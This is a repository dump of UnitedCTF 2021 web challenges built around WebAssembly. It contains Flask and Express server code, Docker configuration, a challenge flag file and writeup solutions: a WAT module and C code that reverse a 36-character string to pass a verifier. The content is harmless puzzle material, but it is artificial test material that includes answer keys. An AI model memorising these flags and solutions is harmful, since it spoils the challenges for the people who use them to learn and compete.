46 | source = ''.join(h.readlines())
47 |
48 | source_data = source.replace("DATA", encrypt_data(FLAG, KEY))
49 |
50 | module = wasm.Module(source_data)
51 |
52 | return Response(module.to_bytes(), mimetype='application/wasm')
53 |
54 | if __name__ == '__main__':
55 | app.run(debug=os.environ['ENVIRONMENT'] == 'development', host='0.0.0.0', port=int(os.environ["PORT"]))
56 |
--------------------------------------------------------------------------------
/challenges/web/wasm/web/public/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/wasm/web/public/favicon.ico
--------------------------------------------------------------------------------
/challenges/web/wasm/web/public/search.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/wasm/web/public/search.gif
--------------------------------------------------------------------------------
/challenges/web/wasm/web/public/too_slow.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/wasm/web/public/too_slow.gif
--------------------------------------------------------------------------------
/challenges/web/wasm/web/public/wasm.js:
--------------------------------------------------------------------------------
1 | function too_slow() {
2 | document.querySelector('.gif').src = "./public/too_slow.gif";
3 | document.querySelector('.title').innerHTML = "Too Slow";
4 | document.querySelector('.text').innerHTML = "The flag is gone. Refresh the page and try again."
5 | }
6 |
7 | WebAssembly.instantiateStreaming(
8 | fetch('/challenge.wasm'),
9 | {
10 | imports: {
11 | too_slow
12 | }
13 | }
14 | ).then(obj => {
15 | obj.instance.exports.main();
16 | });
--------------------------------------------------------------------------------
/challenges/web/wasm/web/requirements.txt:
--------------------------------------------------------------------------------
1 | click==8.0.1
2 | Flask==2.0.1
3 | itsdangerous==2.0.1
4 | Jinja2==3.0.1
5 | MarkupSafe==2.0.1
6 | ppci==0.5.8
7 | Werkzeug==2.0.1
8 |
--------------------------------------------------------------------------------
/challenges/web/wasm/web/templates/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 | Debug WASM
4 |
5 |
6 |
18 |
19 |
20 |
21 |
22 |
Can you see it?
23 |
You may not be too late! Check 1337 if the flag is there.
24 |
25 |
26 |
--------------------------------------------------------------------------------
/challenges/web/wasm2/.dockerignore:
--------------------------------------------------------------------------------
1 | .dockerignore
2 | .gitignore
3 | .venv
4 | .vscode
5 | Dockerfile
6 | docker-compose*
7 |
--------------------------------------------------------------------------------
/challenges/web/wasm2/.gitignore:
--------------------------------------------------------------------------------
1 | node_modules
--------------------------------------------------------------------------------
/challenges/web/wasm2/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node:14
2 |
3 | WORKDIR /app
4 |
5 | COPY ./package*.json ./
6 |
7 | RUN npm install
8 |
9 | COPY . .
10 |
11 | CMD npm start
12 |
--------------------------------------------------------------------------------
/challenges/web/wasm2/challenge/FLAG:
--------------------------------------------------------------------------------
1 | FLAG-you_can_write_WASM
--------------------------------------------------------------------------------
/challenges/web/wasm2/ctfd/base.wat:
--------------------------------------------------------------------------------
1 | (module
2 | (memory (import "js" "memory") 1)
3 |
4 | (func $put_challenge (import "imports" "put_challenge") (param i32))
5 | (func $verify_answer (import "imports" "verify_answer") (param i32))
6 |
7 | (func (export "main")
8 |
9 | )
10 | )
--------------------------------------------------------------------------------
/challenges/web/wasm2/docker-compose.dev.yml:
--------------------------------------------------------------------------------
1 | version: "3"
2 |
3 | services:
4 | web:
5 | container_name: wasm-2-dev
6 | ports:
7 | - "9696:9696"
8 | environment:
9 | PORT: 9696
10 | ENVIRONMENT: "development"
11 | build:
12 | context: .
13 | dockerfile: Dockerfile
14 | restart: always
15 | healthcheck:
16 | test: curl -f http://localhost:1337/healthcheck || false
17 | interval: 60s
18 | timeout: 3s
19 | entrypoint: ["npm", "start"]
20 | volumes:
21 | - ./src:/app/src
22 | - ./views:/app/views
23 | - ./public:/app/public
24 |
--------------------------------------------------------------------------------
/challenges/web/wasm2/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: "3"
2 |
3 | services:
4 | web:
5 | container_name: wasm-2-prod
6 | ports:
7 | - "9696:9696"
8 | environment:
9 | PORT: 9696
10 | ENVIRONMENT: "production"
11 | build:
12 | context: .
13 | dockerfile: Dockerfile
14 | restart: always
15 | healthcheck:
16 | test: curl -f http://localhost:9696/healthcheck || false
17 | interval: 60s
18 | timeout: 3s
19 | entrypoint: ["npm", "run", "dev"]
20 |
--------------------------------------------------------------------------------
/challenges/web/wasm2/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "united-run-wasm",
3 | "version": "1.0.0",
4 | "description": "Running WASM",
5 | "scripts": {
6 | "start": "ts-node ./src/index.ts",
7 | "dev": "ts-node-dev ./src/index.ts",
8 | "tsci": "tsc --init"
9 | },
10 | "author": "Alexandre Lavoie",
11 | "license": "MIT",
12 | "devDependencies": {
13 | "@types/express": "^4.17.13",
14 | "@types/express-fileupload": "^1.1.7",
15 | "ts-node-dev": "^1.1.8",
16 | "typescript": "^4.3.5"
17 | },
18 | "dependencies": {
19 | "ejs": "^3.1.6",
20 | "express": "^4.17.1",
21 | "express-fileupload": "^1.2.1"
22 | }
23 | }
24 |
--------------------------------------------------------------------------------
/challenges/web/wasm2/public/fail.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/wasm2/public/fail.gif
--------------------------------------------------------------------------------
/challenges/web/wasm2/public/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/wasm2/public/favicon.ico
--------------------------------------------------------------------------------
/challenges/web/wasm2/public/success.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/wasm2/public/success.gif
--------------------------------------------------------------------------------
/challenges/web/wasm2/public/upload.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/wasm2/public/upload.gif
--------------------------------------------------------------------------------
/challenges/web/wasm2/views/index.ejs:
--------------------------------------------------------------------------------
1 |
2 |
3 | Run WASM
4 |
5 |
17 |
18 |
19 |
20 |
21 |
<%= title %>
22 |
<%= text %>
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
--------------------------------------------------------------------------------
/challenges/web/wasm2/writeup/solution.wat:
--------------------------------------------------------------------------------
1 | (module
2 | (memory (import "js" "memory") 1)
3 | (func $put_challenge (import "imports" "put_challenge") (param i32))
4 | (func $verify_answer (import "imports" "verify_answer") (param i32))
5 |
6 | (func (export "main")
7 | (local $i i32)
8 |
9 | (call $put_challenge
10 | (i32.const 0)
11 | )
12 |
13 | (block $block
14 | (loop $loop
15 | ;; Copy mem[35 - $i] to mem[1337 + $i]
16 | (i32.store8
17 | (i32.add
18 | (i32.const 1337)
19 | (local.get $i)
20 | )
21 | (i32.load8_u
22 | (i32.sub
23 | (i32.const 35)
24 | (local.get $i)
25 | )
26 | )
27 | )
28 |
29 | ;; $i++
30 | (local.set $i (i32.add (local.get $i) (i32.const 1)))
31 |
32 | ;; break if i == 36
33 | (br_if $block (i32.eq (local.get $i) (i32.const 36)))
34 |
35 | (br $loop)
36 | )
37 | )
38 |
39 | (call $verify_answer
40 | (i32.const 1337)
41 | )
42 | )
43 | )
--------------------------------------------------------------------------------
/challenges/web/wasm2/writeup/studio.c:
--------------------------------------------------------------------------------
1 | #define WASM_EXPORT __attribute__((visibility("default")))
2 |
3 | static char *challenge = "jwt0hw6136fit754kovx4ji2v3n7ru13fyq7";
4 |
5 | void put_challenge(char *address) {
6 | for(int i = 0; i < 36; i++) {
7 | address[i] = challenge[i];
8 | }
9 | }
10 |
11 | int verify_answer(char *address) {
12 | for(int i = 0; i < 36; i++) {
13 | if(address[i] != challenge[35 - i]) {
14 | return 0;
15 | }
16 | }
17 |
18 | return 1;
19 | }
20 |
21 | WASM_EXPORT
22 | void reverse_string(char *address) {
23 | for(int i = 0; i < (36 / 2); i++) {
24 | char tmp = address[i];
25 | address[i] = address[35 - i];
26 | address[35 - i] = tmp;
27 | }
28 | }
29 |
30 | WASM_EXPORT
31 | int main() {
32 | put_challenge(1337);
33 |
34 | reverse_string(1337);
35 |
36 | return verify_answer(1337);
37 | }
38 |
--------------------------------------------------------------------------------
/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/logo.png
--------------------------------------------------------------------------------